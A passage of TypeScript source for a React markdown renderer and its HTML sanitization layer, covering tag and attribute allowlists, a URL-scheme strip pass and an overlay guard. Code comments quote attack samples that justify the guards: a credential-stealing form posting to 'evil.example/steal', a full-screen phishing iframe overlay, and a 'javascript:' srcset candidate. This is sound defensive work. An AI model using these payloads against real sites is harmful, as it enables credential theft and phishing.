components={components}\n    >\n      {text}\n    </ReactMarkdown>\n  );\n});\n\nconst MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({\n  content,\n  className = '',\n  sectionIds,\n  demoteMarkdownH1ToH2 = false,\n  brokenLinks = NO_BROKEN_LINKS,\n  onInternalLinkClick,\n  currentPath,\n  onResolveLink,\n  preprocessContent,\n  componentOverrides,\n  additionalRemarkPlugins,\n  textSize,\n  extraAllowedHtmlTags,\n  streaming = false,\n}) => {\n  const textSizes = useMemo(() => resolveTextSizeConfig(textSize), [textSize]);\n\n  // Stable identity key for the caller's tag array — a fresh array with the\n  // same contents must not bust these memos.\n  const extraTagsKey = extraAllowedHtmlTags?.join('|') ?? '';\n\n  // Effective tag allowlist — shared source for pre-pass AND schema.\n  // Both memos consume ONLY `extraTagsKey`, so the dep list is honest and\n  // needs no eslint suppression.\n  const effectiveTags = useMemo(\n    () => buildEffectiveTagSet(extraTagsKey ? extraTagsKey.split('|') : undefined),\n    [extraTagsKey],\n  );\n\n  const processedContent = useMemo(() => {\n    const preprocessed = preprocessContent ? preprocessContent(content) : content;\n    // ORDER IS LOAD-BEARING: complete the streaming tail FIRST, then escape.\n    //\n    // Escaping first failed OPEN on the most common streaming shape. During a\n    // stream every partially-emitted fence is unclosed, and both of the\n    // pre-pass's fence notions (`PROTECTED_SPAN_RE` for the carve AND the\n    // mask) only recognize CLOSED fences — so a `</textarea>` inside the\n    // still-open fence satisfied \"is closed later\", the prose opener above it\n    // stayed live, and parse5 swallowed the rest of the message until the\n    // fence closed (an LLM explaining `<textarea>` then streaming a fenced\n    // HTML sample hits this exactly). The same ordering also fired the carve's\n    // documented \"unclosed fence body is escaped\" tradeoff on EVERY streaming\n    // frame, so a `<their>` mid-fence rendered as `&lt;their&gt;` until the\n    // closer arrived.\n    //\n    // `completeStreamingTail` only APPENDS a fence delimiter run, so escaping\n    // afterwards is safe (nothing it adds is escapable).\n    const completed = streaming ? completeStreamingTail(preprocessed) : preprocessed;\n    return escapeUnknownHtmlTags(completed, effectiveTags);\n  }, [preprocessContent, content, effectiveTags, streaming]);\n\n  // Heading ids: derived ONCE from the processed source, never from render\n  // order. See ./heading-ids.ts for why the old stateful generator was\n  // unsound under block memoization AND StrictMode.\n  const headingIds = useHeadingIdMap(processedContent, sectionIds);\n\n  const remarkPlugins = useMemo<PluggableList>(\n    () => [remarkGfm, remarkBreaks, ...(additionalRemarkPlugins ?? [])],\n    [additionalRemarkPlugins],\n  );\n\n  const rehypePlugins = useMemo<PluggableList>(() => {\n    const schema = buildSanitizeSchema({\n      extraAllowedHtmlTags: extraTagsKey ? extraTagsKey.split('|') : undefined,\n    });\n    return [\n      // ORDER MATTERS: rehype-raw parses embedded raw HTML into HAST;\n      // rehypeSanitize is the allow-list boundary; rehypeStripUnsafe is\n      // defense-in-depth (srcset scanning, iframe[srcdoc]); highlight last.\n      rehypeRaw,\n      [rehypeSanitize, schema],\n      rehypeStripUnsafe,\n      [rehypeHighlight, { detect: true, ignoreMissing: true }],\n    ];\n  }, [extraTagsKey]);\n\n  const components: Components = useMemo(\n    () => ({\n      ...buildBaseComponents({\n        textSizes,\n        demoteMarkdownH1ToH2,\n        brokenLinks,\n        currentPath,\n        onInternalLinkClick,\n        onResolveLink,\n      }),\n      // Caller overrides spread LAST — chat's card/mention <a> override,\n      // rich's embed overrides, etc. always win over the base map.\n      ...componentOverrides,\n    }),\n    [\n      textSizes,\n      demoteMarkdownH1ToH2,\n      brokenLinks,\n      currentPath,\n      onInternalLinkClick,\n      onResolveLink,\n      componentOverrides,\n    ],\n  );\n\n  // Streaming block plan (only computed on the streaming path).\n  const streamingBlocks = useMemo(\n    () => (streaming ? splitStreamingBlocks(processedContent) : null),\n    [streaming, processedContent],\n  );\n\n  const body = streamingBlocks ? (\n    // aria-live: readers announce coherent appended chunks, not per-token\n    // spam (polite + additions). Streaming caret/pulse affordances live in\n    // chat components and honor prefers-reduced-motion there.\n    <div aria-live=\"polite\" aria-relevant=\"additions text\">\n      {streamingBlocks.map((block) => (\n        // Each unit is parsed on its own, so hast positions restart at 1;\n        // the offset maps them back onto the document-wide heading-id map.\n        <HeadingLineOffsetContext.Provider key={block.index} value={block.startLine - 1}>\n          {block.memoizable ? (\n            <StreamingBlockRenderer\n              text={block.text}\n              remarkPlugins={remarkPlugins}\n              rehypePlugins={rehypePlugins}\n              components={components}\n            />\n          ) : (\n            <ReactMarkdown\n              remarkPlugins={remarkPlugins}\n              rehypePlugins={rehypePlugins}\n              urlTransform={cardAwareUrlTransform}\n              components={components}\n            >\n              {block.text}\n            </ReactMarkdown>\n          )}\n        </HeadingLineOffsetContext.Provider>\n      ))}\n    </div>\n  ) : (\n    <ReactMarkdown\n      remarkPlugins={remarkPlugins}\n      rehypePlugins={rehypePlugins}\n      urlTransform={cardAwareUrlTransform}\n      components={components}\n    >\n      {processedContent}\n    </ReactMarkdown>\n  );\n\n  return (\n    <div className={`simple-markdown-renderer ${className}`}>\n      {/* Mermaid's <style> is rendered by MermaidDiagram itself — one tag\n          per mounted diagram instead of one per engine instance (i.e. per\n          chat segment), where the overwhelming majority render no diagram. */}\n      {/* `overflow-wrap: anywhere` is inherited from `.simple-markdown-renderer`\n          in app-globals.css — do NOT re-add `break-words` here, it would\n          override the cascade with the weaker `break-word` for this subtree. */}\n      <div className=\"content-wrapper max-w-none\">\n        <article className=\"prose prose-lg max-w-none\">\n          <HeadingIdMapContext.Provider value={headingIds}>{body}</HeadingIdMapContext.Provider>\n        </article>\n      </div>\n    </div>\n  );\n};\n\n/**\n * Memoized so a parent re-render with UNCHANGED props (same `content`\n * string, same memoized `componentOverrides`/plugins) does NOT re-parse the\n * markdown. Re-parsing rebuilds the entire react-markdown subtree, which\n * RE-MOUNTS any embedded inline entity cards — closing their open menus and\n * re-triggering their fetch on every chat re-render (streaming chunk AND\n * scroll). With stable props the renderer bails, so completed messages'\n * cards stay mounted. The streaming path additionally memoizes completed\n * atomic blocks so the in-flight message re-parses only its live tail.\n */\nexport const MarkdownEngine = memo(MarkdownEngineImpl);\n","/**\n * Sanitization SSOT for the unified markdown engine.\n *\n * Layered defense (order matters, see engine.tsx):\n *   1. `escapeUnknownHtmlTags` — TEXT pre-pass. Escapes `<tag>`s outside the\n *      effective allowlist so LLM-emitted pseudo-tags (`<their>`, `<ticket>`)\n *      never reach React as unknown elements (React 19 crash guard).\n *      NOT a security boundary.\n *   2. `rehype-raw` parses remaining raw HTML into HAST.\n *   3. `rehypeSanitize` with `buildSanitizeSchema(...)` — the audited\n *      allow-list boundary (hast-util-sanitize) with a schema extended to\n *      exactly what our surfaces need.\n *   4. `rehypeStripUnsafe` — custom strip pass kept as defense-in-depth\n *      (srcset candidate scanning, iframe[srcdoc], belt-and-suspenders if\n *      the schema is ever loosened).\n *\n * COUPLED-ALLOWLIST INVARIANT (tested in __tests__/sanitize-invariant.test.ts):\n * the two effective tag lists are EQUAL (case-insensitively), both computed\n * AFTER merging `extraAllowedHtmlTags`. Both directions matter:\n *   - pre-pass ⊆ sanitizer: the pre-pass must never admit a raw tag the\n *     sanitizer then silently drops.\n *   - sanitizer ⊆ pre-pass: the pre-pass must never ESCAPE a tag the\n *     sanitizer would happily keep. This direction was broken before\n *     2026-07: `strike` (and every other `defaultSchema`-only tag) survived\n *     the sanitizer but was escaped to `&lt;strike&gt;` source text by the\n *     pre-pass, so legacy authored markup regressed to visible tag soup.\n * Both lists are now derived from the SINGLE `effectiveTagList()` below —\n * never fork them.\n *\n * ONE documented exception, and it is CONTENT-dependent rather than\n * list-level (so the invariant test still holds as an equality of tag SETS):\n * an UNCLOSED RAWTEXT/RCDATA opener (`<textarea>`, `<iframe>`, `<title>`, …)\n * is escaped by the pre-pass even though the sanitizer allowlists it —\n * because parse5's tokenizer would otherwise swallow the remainder of the\n * document into it before the sanitizer ever runs. See RAWTEXT_TAGS below.\n */\nimport { defaultSchema } from 'rehype-sanitize'\nimport { visit } from 'unist-util-visit'\nimport { defaultUrlTransform } from 'react-markdown'\nimport { createFenceTracker, isBlankLine } from '../../../utils/markdown-fences'\n\n// ---------------------------------------------------------------------------\n// Shared tag allowlist (pre-pass baseline)\n// ---------------------------------------------------------------------------\n/**\n * Tags the TEXT pre-pass forwards as raw HTML. Anything outside this set\n * (plus per-composition `extraAllowedHtmlTags`) gets its angle brackets\n * escaped and renders as plain text.\n *\n * `video` is deliberately NOT in the baseline: chat strips <video>\n * server-side and playback goes through the <Video> SSOT. The rich\n * composition opts back in via `extraAllowedHtmlTags={['video', 'source']}`\n * so authored content (blog publisher video injection) keeps working.\n */\nexport const SAFE_HTML_TAGS = new Set([\n  // Block + inline text\n  'a', 'abbr', 'address', 'article', 'aside', 'b', 'bdi', 'bdo', 'blockquote',\n  'br', 'caption', 'cite', 'code', 'col', 'colgroup', 'data', 'dd', 'del',\n  'details', 'dfn', 'div', 'dl', 'dt', 'em', 'figcaption', 'figure', 'footer',\n  'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'hgroup', 'hr', 'i', 'ins',\n  'kbd', 'li', 'main', 'mark', 'nav', 'ol', 'p', 'pre', 'q', 'rp', 'rt',\n  'ruby', 's', 'samp', 'section', 'small', 'span', 'strong', 'sub', 'summary',\n  'sup', 'table', 'tbody', 'td', 'tfoot', 'th', 'thead', 'time', 'tr', 'u',\n  'ul', 'var', 'wbr',\n  // Deprecated presentational tags that REAL authored content still carries.\n  // They rendered before the unification (neither old renderer had a\n  // pre-pass), so escaping them to visible `&lt;center&gt;` source text was a\n  // regression. `font` gets its legacy attributes below so the sanitizer\n  // doesn't reduce it to a bare no-op tag. (`marquee` stays out — it is\n  // animated chrome, not text markup, and no audit hit found it.)\n  'center', 'font', 'big',\n  // Media ('video' intentionally excluded — see the header comment)\n  'img', 'picture', 'source', 'audio', 'iframe', 'track',\n  // Forms (rehype-raw allows them; mostly harmless for chat output)\n  'button', 'input', 'label', 'select', 'option', 'optgroup', 'textarea', 'form', 'fieldset', 'legend',\n])\n\n/**\n * Inline SVG element set, in the CANONICAL case parse5 produces for SVG\n * foreign content (`linearGradient`, `clipPath`, … are camelCase in the\n * HTML parser's SVG adjustment table, so the sanitize schema must match\n * that spelling; the text pre-pass lowercases before lookup).\n *\n * Inline `<svg>` renders in real published posts (hand-authored diagrams\n * and inline icon markup — NOT `<use href>` sprite references, which are\n * deliberately dropped; see SVG_ATTRIBUTES). The Rich renderer had NO pre-pass\n * and NO sanitizer, so it always rendered; without this set the unified\n * engine would escape it to visible source text.\n *\n * SEVERAL OF THESE NAMES ARE ALSO HTML ELEMENTS (`title`, `desc`, `text`,\n * `g`, `line`, `use`, `symbol`, `marker`, `mask`, `pattern`) — admitting\n * them UNCONSTRAINED let a post or a chat message emit a bare `<title>`,\n * which React 19 hoists into `<head>` (browser-tab + SEO title hijack) and\n * whose RAWTEXT content model swallows the rest of the document when\n * unclosed. They are therefore pinned to an `svg` ancestor in\n * `SVG_ONLY_ANCESTORS` below; outside `<svg>` the sanitizer drops them.\n */\nexport const SVG_TAGS = new Set([\n  'svg', 'path', 'circle', 'ellipse', 'g', 'rect', 'line', 'polyline',\n  'polygon', 'text', 'tspan', 'defs', 'use', 'symbol', 'title', 'desc',\n  'marker', 'mask', 'pattern', 'linearGradient', 'radialGradient', 'stop',\n  'clipPath',\n])\n\n/**\n * Required-ancestor constraints for the SVG-only tags (hast-util-sanitize\n * `ancestors`: a listed tag survives ONLY inside one of its ancestors).\n *\n * The TEXT pre-pass may still forward these — it is a flat regex over source\n * text, cannot see nesting, and is explicitly NOT a security boundary. The\n * coupled-allowlist invariant still holds because `ancestors` RESTRICTS a\n * tag the schema already lists; it never adds one the pre-pass would escape.\n */\nconst SVG_ONLY_ANCESTORS: Record<string, string[]> = {\n  title: ['svg'],\n  desc: ['svg'],\n  text: ['svg'],\n  tspan: ['svg', 'text'],\n  use: ['svg'],\n  symbol: ['svg'],\n  marker: ['svg'],\n  mask: ['svg'],\n  pattern: ['svg'],\n  g: ['svg'],\n  line: ['svg'],\n  path: ['svg'],\n  circle: ['svg'],\n  ellipse: ['svg'],\n  rect: ['svg'],\n  polyline: ['svg'],\n  polygon: ['svg'],\n  defs: ['svg'],\n  stop: ['svg'],\n  linearGradient: ['svg'],\n  radialGradient: ['svg'],\n  clipPath: ['svg'],\n}\n\n/**\n * THE effective tag list for a composition, canonical case — the single\n * source both the pre-pass set and the sanitize schema derive from\n * (coupled-allowlist invariant, both directions).\n *\n * `defaultSchema.tagNames` is unioned in so the pre-pass can never escape a\n * tag hast-util-sanitize would keep (`strike`, `tt`, …).\n */\nfunction effectiveTagList(extraAllowedHtmlTags?: string[]): string[] {\n  return [\n    ...(defaultSchema.tagNames ?? []),\n    ...SAFE_HTML_TAGS,\n    ...SVG_TAGS,\n    ...(extraAllowedHtmlTags ?? []),\n  ]\n}\n\n/** Effective pre-pass tag set for a composition (lowercased for lookup). */\nexport function buildEffectiveTagSet(extraAllowedHtmlTags?: string[]): Set<string> {\n  return new Set(effectiveTagList(extraAllowedHtmlTags).map((t) => t.toLowerCase()))\n}\n\n// ---------------------------------------------------------------------------\n// rehype-sanitize schema (allow-list boundary)\n// ---------------------------------------------------------------------------\n/**\n * Per-tag attribute allowances layered on top of hast-util-sanitize's\n * defaultSchema. Property names are hast camelCase. Attribute survival\n * matters as much as tag survival — an attribute-stripped `<video>` is a\n * sourceless player (see plan: \"video-survives-sanitize fixture\").\n */\nconst EXTRA_ATTRIBUTES: Record<string, Array<string | [string, ...unknown[]]>> = {\n  // `style` is allowed on the tags the 2026-07 content-store audit found it\n  // on in REAL published posts (div.takeaway, table styling, reddit\n  // blockquotes). This matches pre-unification behavior on BOTH surfaces —\n  // neither old renderer stripped style — so it is parity, not loosening;\n  // the URL-scheme guards in rehypeStripUnsafe still apply to attributes.\n  '*': ['className', 'id', 'data*', 'dir', 'title', 'lang'],\n  a: ['target', 'rel', 'href'],\n  div: ['style'],\n  span: ['style'],\n  p: ['style'],\n  blockquote: ['style', 'cite'],\n  td: ['colSpan', 'rowSpan', 'align', 'style'],\n  th: ['colSpan', 'rowSpan', 'align', 'scope', 'style'],\n  img: ['src', 'srcSet', 'sizes', 'alt', 'width', 'height', 'loading', 'decoding'],\n  iframe: ['src', 'width', 'height', 'allow', 'allowFullScreen', 'frameBorder', 'loading', 'referrerPolicy', 'style'],\n  video: ['src', 'poster', 'controls', 'width', 'height', 'loop', 'muted', 'autoPlay', 'playsInline', 'preload'],\n  source: ['src', 'type', 'media', 'srcSet', 'sizes'],\n  audio: ['src', 'controls', 'loop', 'muted', 'preload'],\n  track: ['src', 'kind', 'srcLang', 'label', 'default'],\n  time: ['dateTime'],\n  details: ['open'],\n  // Form elements (allow the benign presentational subset).\n  //\n  // `input` carries EXACTLY the GFM task-list contract and nothing else.\n  // Dropping the attribute widening alone was not enough: defaultSchema\n  // pins `required.input = { type:'checkbox', disabled:true }`, and\n  // `required` force-ADDS those properties regardless of what the author\n  // wrote — so `<input type=\"text\" placeholder=\"email\">` still came out as\n  // a disabled checkbox. `buildSanitizeSchema` therefore clears\n  // `required.input` (remark-gfm emits `type=\"checkbox\" disabled` on task\n  // items itself, so the coercion was redundant) and the contract is\n  // expressed here instead: type is pinned to the literal `checkbox`, so a\n  // text input degrades to a bare `<input>` rather than a fake checkbox.\n  input: [['type', 'checkbox'], 'checked', 'disabled'],\n  button: ['type', 'disabled', 'name', 'value'],\n  // Legacy presentational tag — without its own attributes the sanitizer\n  // would keep `<font>` but strip everything that makes it do anything.\n  font: ['color', 'size', 'face'],\n  select: ['disabled', 'multiple', 'name'],\n  option: ['value', 'selected', 'disabled'],\n  optgroup: ['label', 'disabled'],\n  textarea: ['rows', 'cols', 'placeholder', 'disabled', 'readOnly', 'name'],\n  label: ['htmlFor'],\n  col: ['span'],\n  colgroup: ['span'],\n}\n\n/**\n * SVG presentation/geometry attributes, keyed the way hast keys them:\n * property-information normalizes `font-size` → `fontSize`,\n * `stroke-dasharray` → `strokeDasharray`, … BEFORE the sanitizer sees the\n * tree, so ONLY the camelCase spellings are load-bearing. The dashed\n * spellings previously listed alongside them were dead weight (they never\n * matched anything) and are gone; do not re-add them.\n *\n * `style` is allowed here for parity with div/span/p (same 2026-07 audit\n * rationale — authored SVG carries inline `style` and both pre-unification\n * renderers kept it; the URL guards in rehypeStripUnsafe still apply).\n */\nconst SVG_ATTRIBUTES = [\n  'viewBox', 'xmlns', 'd', 'fill', 'stroke', 'cx', 'cy', 'r', 'rx', 'ry',\n  'x', 'y', 'x1', 'y1', 'x2', 'y2', 'points', 'transform', 'opacity',\n  'offset', 'width', 'height', 'style',\n  // NOTE the exact casing: property-information's SVG map uses\n  // `strokeDashArray` / `strokeDashOffset` / `strokeMiterLimit` (capital\n  // A/O/L), NOT the react-DOM spellings. A near-miss here fails SILENTLY —\n  // the attribute is simply stripped. Verify against\n  // node_modules/property-information/lib/svg.js before adding one.\n  'strokeWidth', 'strokeDashArray', 'strokeDashOffset', 'strokeMiterLimit',\n  'strokeOpacity', 'strokeLinecap', 'strokeLinejoin',\n  'fillRule', 'fillOpacity',\n  'stopColor', 'stopOpacity',\n  'fontSize', 'fontFamily', 'fontWeight', 'fontStyle', 'fontStretch',\n  'textAnchor', 'dominantBaseline', 'alignmentBaseline', 'letterSpacing',\n  'dx', 'dy', 'markerEnd', 'markerMid', 'markerStart',\n  'gradientUnits', 'gradientTransform', 'patternUnits', 'maskUnits',\n  'preserveAspectRatio',\n  'clipPath', 'clipRule',\n  // `href` / `xlink:href` stay DELIBERATELY DISALLOWED on SVG elements:\n  // `<use href>` pulls in an external document fragment and the hast key\n  // (`xlinkHref`) is outside rehypeStripUnsafe's URL_ATTRS check, so it\n  // would be an unguarded URL sink. Consequence, stated plainly: PASTED\n  // ICON SPRITES THAT RELY ON `<use href=\"#id\">` RENDER EMPTY. Hand-drawn\n  // inline SVG (the audited real-content case) is unaffected.\n]\n\nexport interface BuildSanitizeSchemaOptions {\n  extraAllowedHtmlTags?: string[]\n}\n\n/**\n * The engine's sanitize schema: defaultSchema ∪ SAFE_HTML_TAGS ∪ extras.\n * - `extraAllowedHtmlTags` is unioned into tagNames here AND into the\n *   pre-pass set (buildEffectiveTagSet) — the coupled-allowlist invariant.\n * - `clobberPrefix: ''` + empty `clobber`: authored raw-HTML anchors\n *   (`<h2 id=\"…\">`) keep their ids so `[jump](#anchor)` deep-links work.\n *   (The renderer's own heading ids are injected at the React layer,\n *   post-rehype, and were never affected.)\n * - `card`/`mention` protocols registered for href so chat markers survive\n *   (the urlTransform below is the second gate).\n */\nexport function buildSanitizeSchema(options: BuildSanitizeSchemaOptions = {}) {\n  // Canonical spelling AND lowercase for every tag: parse5 emits SVG\n  // foreign-content tags camelCased (`linearGradient`), HTML tags\n  // lowercased — admitting both keeps the schema list a superset of the\n  // (lowercased) pre-pass set, so the two are equal case-insensitively.\n  const tagNames = new Set<string>()\n  for (const tag of effectiveTagList(options.extraAllowedHtmlTags)) {\n    tagNames.add(tag)\n    tagNames.add(tag.toLowerCase())\n  }\n\n  const attributes: Record<string, Array<string | [string, ...unknown[]]>> = {\n    ...(defaultSchema.attributes as Record<string, Array<string | [string, ...unknown[]]>>),\n  }\n  for (const [tag, attrs] of Object.entries(EXTRA_ATTRIBUTES)) {\n    attributes[tag] = [...(attributes[tag] ?? []), ...attrs]\n  }\n  for (const tag of SVG_TAGS) {\n    attributes[tag] = [...(attributes[tag] ?? []), ...SVG_ATTRIBUTES]\n    const lower = tag.toLowerCase()\n    if (lower !== tag) attributes[lower] = [...(attributes[lower] ?? []), ...SVG_ATTRIBUTES]\n  }\n\n  // MAKE THE PER-TAG LISTS ACTUALLY AUTHORITATIVE.\n  //\n  // `hast-util-sanitize` looks a property up in `attributes[tagName]` and, when\n  // it is ABSENT there, RETRIES against `attributes['*']` (see its\n  // `properties()`). A per-tag list therefore narrows nothing on its own — it\n  // only ADDS. defaultSchema (GitHub's schema) puts the whole form vocabulary\n  // on `*` — `action`, `method`, `encType`, `name`, `value`, `size`,\n  // `maxLength`, `readOnly`, `accept`, `multiple` — so the `input` entry above,\n  // documented as \"EXACTLY the GFM task-list contract and nothing else\", was\n  // inert: `<input name=\"password\" size=\"40\">` kept both attributes.\n  //\n  // Verified consequence before this filter: the markdown\n  //   <form action=\"https://evil.example/steal\" method=\"post\">\n  //     <input name=\"email\"><input name=\"password\">\n  //     <button type=\"submit\">Sign in</button></form>\n  // rendered VERBATIM on the CHAT surface — a working cross-origin credential\n  // form inside trusted app chrome, from untrusted model output, one click from\n  // submitting. `form` has no per-tag entry at all, so it took `action`/`method`\n  // straight from `*`.\n  //\n  // Stripping these from `*` leaves every legitimate use intact, because the\n  // tags that genuinely need them declare them per-tag (`button`, `select`,\n  // `option`, `textarea` for `name`/`value`, `input` for `checked`).\n  //\n  // The two non-form uses that in principle relied on `*` — `<a name=\"anchor\">`\n  // and `<li value=\"3\">` — were checked and need NO re-declaration: the base\n  // `a` / `li` renderers build their own elements and never forwarded either\n  // attribute, so neither reached the DOM before this filter (verified by\n  // reverting it). Pinned by ./__tests__/sanitize-render.test.tsx so the fact\n  // stays recorded rather than re-derived.\n  const STAR_FORM_ATTRIBUTES = new Set([\n    'action', 'method', 'encType', 'name', 'value',\n    'size', 'maxLength', 'readOnly', 'accept', 'acceptCharset', 'multiple', 'prompt',\n  ])\n  attributes['*'] = (attributes['*'] ?? []).filter((attr) => {\n    const key = Array.isArray(attr) ? attr[0] : attr\n    return !STAR_FORM_ATTRIBUTES.has(key as string)\n  })\n\n  // SVG-only tags are pinned to an `svg` ancestor (canonical AND lowercase\n  // spelling, matching the tagNames treatment above) so a bare `<title>` /\n  // `<text>` / `<g>` in prose is DROPPED instead of hijacking the page.\n  const ancestors: Record<string, string[]> = {\n    ...(defaultSchema.ancestors as Record<string, string[]> | undefined),\n  }\n  for (const [tag, required] of Object.entries(SVG_ONLY_ANCESTORS)) {\n    ancestors[tag] = required\n    ancestors[tag.toLowerCase()] = required\n  }\n\n  // `required.input` is CLEARED — see the `input` note in EXTRA_ATTRIBUTES.\n  // defaultSchema force-adds `type=\"checkbox\" disabled` to every `<input>`,\n  // rewriting authored text inputs into fake disabled checkboxes; remark-gfm\n  // already emits both properties on real task-list items, so nothing is\n  // lost. The attribute allowlist pins `type` to the literal `checkbox`.\n  const required: Record<string, Record<string, unknown>> = {\n    ...(defaultSchema.required as Record<string, Record<string, unknown>> | undefined),\n  }\n  delete required.input\n\n  return {\n    ...defaultSchema,\n    tagNames: [...tagNames],\n    attributes,\n    ancestors,\n    required,\n    clobberPrefix: '',\n    clobber: [],\n    protocols: {\n      ...defaultSchema.protocols,\n      href: [...(defaultSchema.protocols?.href ?? []), 'card', 'mention'],\n    },\n  }\n}\n\n// ---------------------------------------------------------------------------\n// rehypeStripUnsafe — defense-in-depth strip pass (kept verbatim from the\n// pre-unification SimpleMarkdownRenderer)\n// ---------------------------------------------------------------------------\nconst EVENT_HANDLER_ATTR_RE = /^on[a-z]+$/i\n\n/**\n * CSS declarations that take an element OUT of the document flow, i.e. the\n * primitive every UI-redress payload needs. Matched per declaration (the\n * `style` attribute is split on `;` first), so decorative styling on the same\n * element is preserved. `inset` and the individual offsets are included because\n * `position` alone is not the only lever — a `position:sticky` left behind with\n * `top:0;z-index:…` still floats content over the page.\n */\nconst POSITIONING_DECL_RE =\n  /(?:^|[\\s;])(?:position|z-index|inset(?:-block|-inline)?(?:-start|-end)?|top|right|bottom|left)\\s*:/i\nconst JAVASCRIPT_URL_RE = /^[\\s\\x00-\\x1f]*javascript:/i\nconst DATA_URL_RE = /^[\\s\\x00-\\x1f]*data:/i\nconst URL_ATTRS = new Set([\n  'href',\n  'src',\n  'srcset',\n  'formaction',\n  'xlink:href',\n  'poster',\n  'data',\n  'action',\n  'background',\n  // The embed shortcodes' primary url (`data-url` → `dataUrl`) — it\n  // becomes an anchor href (\"Open in Claude\") and a link-preview fetch\n  // target, so a `javascript:`/`data:` scheme there is a live sink too.\n  'dataurl',\n])\n\n/**\n * Returns true if any candidate in an `srcset` attribute has a dangerous\n * URL scheme. srcset is a comma-separated candidate list — a single-URL\n * check would miss a malicious second candidate\n * (`\"https://safe.png 1x, javascript:alert(1) 2x\"`). Over-splitting on\n * commas inside URL paths over-strips, which is the correct error bias.\n */\nfunction srcsetHasUnsafeCandidate(srcset: string): boolean {\n  for (const candidate of srcset.split(',')) {\n    const url = candidate.trim().split(/\\s+/)[0] ?? ''\n    if (JAVASCRIPT_URL_RE.test(url) || DATA_URL_RE.test(url)) return true\n  }\n  return false\n}\n\nconst STRIP_ELEMENTS = new Set([\n  'script',\n  'style',\n  'noscript',\n  'noembed',\n  'object',\n  'embed',\n  'applet',\n  'base',\n  'meta',\n])\n\nexport function rehypeStripUnsafe() {\n  // eslint-disable-next-line @typescript-eslint/no-explicit-any\n  return (tree: any) => {\n    visit(tree, 'element', (node: any, index: number | undefined, parent: any) => {\n      const tag = String(node.tagName ?? '').toLowerCase()\n      if (STRIP_ELEMENTS.has(tag)) {\n        if (parent && typeof index === 'number') {\n          parent.children.splice(index, 1)\n          // Return the numeric index so the walker resumes at the slot the\n          // removed node vacated.\n          return index\n        }\n        // Root-level strip element — neutralize in place.\n        node.children = []\n        node.tagName = 'span'\n        node.properties = {}\n        return\n      }\n      if (!node.properties || typeof node.properties !== 'object') return\n      for (const key of Object.keys(node.properties)) {\n        if (EVENT_HANDLER_ATTR_RE.test(key)) {\n          delete node.properties[key]\n          continue\n        }\n        if (URL_ATTRS.has(key.toLowerCase())) {\n          const raw = node.properties[key]\n          const v = Array.isArray(raw) ? raw[0] : raw\n          if (typeof v === 'string') {\n            const unsafe =\n              key.toLowerCase() === 'srcset'\n                ? srcsetHasUnsafeCandidate(v)\n                : JAVASCRIPT_URL_RE.test(v) || DATA_URL_RE.test(v)\n            if (unsafe) {\n              delete node.properties[key]\n              continue\n            }\n          }\n        }\n        if (tag === 'iframe' && key.toLowerCase() === 'srcdoc') {\n          delete node.properties[key]\n          continue\n        }\n        // OVERLAY / UI-REDRESS GUARD. `style` is allowed (a content audit found\n        // real published posts relying on it for `div.takeaway`, table styling\n        // and reddit blockquotes), but the positioning subset of CSS is not a\n        // decoration — it is a way to lift untrusted markup out of the message\n        // body and put it over the whole application. Verified before this\n        // guard: a single chat message containing\n        //   <iframe src=\"https://evil.example/phish\"\n        //           style=\"position:fixed;top:0;left:0;width:100vw;height:100vh;\n        //                  z-index:2147483647\">\n        // rendered an attacker-controlled cross-origin document covering the\n        // entire viewport above every piece of app chrome (toasts at z-9999\n        // included); the `<span style=\"position:fixed;inset:0\">` variant does the\n        // same with no frame at all. Chat content is model output, so this is\n        // reachable from untrusted input.\n        //\n        // Only the escape-the-flow declarations are dropped, and per-declaration\n        // rather than by discarding the whole attribute, so ordinary decorative\n        // styling on the same element survives. THE TRADE-OFF, STATED: authored\n        // content that legitimately wanted `position:sticky` (a pinned table\n        // header, say) loses it — deliberately, because there is no way to tell\n        // it apart from the redress payload at this layer, and a sticky header is\n        // a smaller loss than a full-page phishing surface.\n        if (key.toLowerCase() === 'style') {\n          const raw = node.properties[key]\n          if (typeof raw === 'string' && POSITIONING_DECL_RE.test(raw)) {\n            const cleaned = raw\n              .split(';')\n              .filter((decl) => !POSITIONING_DECL_RE.test(decl))\n              .join(';')\n              .trim()\n            if (cleaned === '' || cleaned === ';') delete node.properties[key]\n            else node.properties[key] = cleaned\n          }\n        }\n      }\n    })\n  }\n}\n\n// ---------------------------------------------------------------------------\n// escapeUnknownHtmlTags — TEXT pre-pass (React 19 crash guard)\n// ---------------------------------------------------------------------------\n// ReDoS-safe shape (CodeQL polynomial-regex hardening): every quantifier is\n// hard-bounded (tag name ≤63 chars, attrs ≤4096) so matching is\n// constant-time per tag. Anything longer falls through as plain text —\n// the safe-degrade behavior for HTML-in-markdown.\nconst TAG_LIKE_REGEX = /<(\\/?)([a-zA-Z][a-zA-Z0-9-]{0,63})((?:\\s[^>]{0,4096}?)?)(\\/?)>/g\n\n/**\n * Tags whose HTML content model is RAWTEXT / RCDATA / PLAINTEXT: once parse5\n * sees the start tag, EVERYTHING up to the matching end tag (or, if there is\n * none, to end of input) is consumed as that element's text — headings,\n * paragraphs, list items and all.\n *\n * The tokenizer runs BEFORE the sanitizer, so an allowlist entry (or an\n * `ancestors` pin, as `title` got in round 2) cannot undo the damage: by the\n * time the schema is consulted, the rest of the message is already a single\n * text node hanging off the wrong element. Observed with the unclosed forms:\n *   `<textarea>` → the remainder of the message becomes the editable value\n *                  of a live textarea\n *   `<iframe>`   → the remainder is swallowed into an `about:blank` frame\n *   `<title>`    → the remainder de-structures (headings stop being headings)\n * Any chat message or post that merely MENTIONS one of these in prose — an\n * LLM explaining HTML forms will — mangles everything after it.\n *\n * The TEXT pre-pass is the layer built for exactly this: it runs before\n * parse5 and is purely textual. An opening tag from this set is escaped\n * unless its matching `</tag>` appears LATER in the source, in which case the\n * RAWTEXT span is bounded and the element renders normally (see the\n * `closed-*` fixtures). This check is deliberately independent of the\n * allowlist — it constrains tags the sanitizer WOULD keep.\n */\nconst RAWTEXT_TAGS = new Set([\n  'title', 'textarea', 'iframe', 'xmp', 'noembed', 'noframes', 'plaintext',\n])\n\n/**\n * Fenced code blocks and inline code spans — the regions whose `<tags>` are\n * literal content and must survive the escaping pass verbatim.\n *\n * Drives the escaping CARVE in `escapeUnknownHtmlTags`. It is deliberately\n * NARROWER than what the MASK now understands: the mask is the security\n * boundary (too-narrow ⇒ a live `<textarea>` swallows the document) while the\n * carve is cosmetic (too-narrow ⇒ a code sample renders as escaped text), so\n * they are allowed to differ — but only in that direction, and that is now\n * ENFORCED rather than assumed: 